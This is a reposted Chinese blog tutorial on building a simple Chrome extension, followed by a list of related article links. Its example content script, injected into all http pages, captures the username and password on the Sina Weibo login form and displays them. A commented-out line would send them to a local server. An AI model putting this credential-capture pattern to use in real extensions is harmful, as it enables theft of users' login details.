哇塞，原来自己写 Google Chrome 浏览器扩展（插件）这么容易！

1. 首先新建一个记事本，命名为 manifest.json，这是写 Google Chrome 浏览器扩展必须的文件

{"manifest_version": 2,"name": "Account Detect","description": "This extension will detect your account","version": "1.0","permissions": ["http://*/*"],"browser_action": {"default_icon": "icon.png"},"content_scripts": [{"matches": ["http://*/*"],"js": ["jquery-1.4.4.min.js", "myscript_v0.0.1.js"]}]
}

2. 新建一个 myscript_v0.0.1.js 文件，这个是主文件，就是你写扩展的主要目的。比如我下面这个是弹出新浪微博登录页面中的用户名和密码。

$(document).ready(function()
{
//    $("body").click(function()
//    {//        alert("this is it - acount detect");
//    });$("span[node-type='submitStates']").click(function(event){var username = $('input[name="username"]').val();var passwords = $('input[name="password"]').val();// var query = '?username=' + username + '&' + 'passwords=' + passwords;// $.get('http://localhost:1337' + query, function() {});
alert(username + ':' + passwords);});
});

3. 随便找一个 icon.png ，用作扩展的图标，下面有它出现的位置。

4. 打开浏览器，加载扩展。

5. 打开新浪微博的首页登录页（http://weibo.com）

6. 成功弹出。

截图如下：

需要准备的文件：

加载 Chrome 扩展的截图：

运行截图：

查考自：http://www.cnblogs.com/heqichang/p/3189775.html

谢谢浏览！

转载于:https://www.cnblogs.com/Music/p/google-chrome-extension-simple-demo.html

哇塞，原来自己写 Google Chrome 浏览器扩展（插件）这么容易！相关推荐

Chrome浏览器扩展插件指南:从MV2迁移到Manifest V3
Chrome Web Store于2021年1月已经开始接受Manifest V3扩展的提交.如果你还在使用MV2版本,那么一定要在官方弃用之前,尽快更新到MV3版本. Chrome浏览器从88版本开 ...
32款网页设计和网页开发人员常用的Google chrome浏览器扩展程序
对于网页设计人员或网站开发者来说,更喜欢使用像FF的此类浏览器,原因是其具有强大的辅助插件,可以帮助网页制作与开发提高效率,那么同样对于Google Cchrome浏览器来说也是具有大量的此类插件,本 ...
百度云网盘不限速下载之Google Chrome浏览器+SwitchyOmega插件
众所周知,百度云的用户量越来越多啦,那么随之而来的问题也来了,刚开始用户量不是特别多的时候下载速度是100多kb/s,然而,现在呢???10几Kb/s!!!慢如蜗牛的速度啊. pandownload已 ...
Chrome浏览器扩展/插件推荐
No.1 Dark Reader 说明:适用于任何网站的黑暗主题(暗黑模式).关爱眼睛,就是用Dark Reader进行日常浏览. 体验:Dark Reader能轻松让网页进入暗黑模式(夜间模式),减 ...
Chrome浏览器扩展插件的8种获利方式
如果你已经构建了一个Chrome扩展插件,已经有了成千上万的用户,那面临的一个问题是如何利用这个产品来获利. 如果在Android或iOS上,那么获利的方法就容易多了.但是,在某种程度上,Chrome ...
2022年最值得关注的Chrome浏览器扩展插件
浏览器扩展,国内很多人说成浏览器插件,可以帮我们完成很多工作,比如剪辑.收藏.稍后阅读.英语翻译.屏幕截屏.收藏夹管理.广告拦截.初始Tab页等等,而用好一个扩展可以大大的提升效率! 2022年又有哪 ...
Chrome浏览器扩展开发系列之五：Page Action类型的Chrome浏览器扩展
Page Action类型的Google Chrome浏览器扩展程序,通常也会有一个图标,但这个图标位于Chrome浏览器的地址栏内右端.而且这个图标并非始终出现,而是当某指定的页面打开时才会出现.也 ...
Instagram 爱好者必备：如何使用Inscarry浏览器扩展插件批量下载博主内容(照片视频)
文章目录一. 介绍二. 使用 & 演示三. 原理 & 注意四. 安装插件方式一插件应用市场安装方式二本地安装五. 开启插件 & 登录一. 介绍 Inscar ...
Google Chrome浏览器必备的20个插件
Google Chrome浏览器虽然与火狐浏览器有所区别,不过他们都是很开放的浏览器产品,所以也有许多有用的插件,这些插件对于日常生活与网络冲浪都很有用,比如网银,炒股等. Google Chrome ...
作为Web开发人员，我为什么喜欢Google Chrome浏览器
在Google Chrome浏览器出来之前,我一直使用FireFox,因为FireFox的插件非常丰富,更因为FireFox有强大的Firebug,对于前端开发可谓神器. 在Chrome出来的时候,我 ...

哇塞，原来自己写 Google Chrome 浏览器扩展（插件）这么容易！

哇塞，原来自己写 Google Chrome 浏览器扩展（插件）这么容易！相关推荐

最新文章

热门文章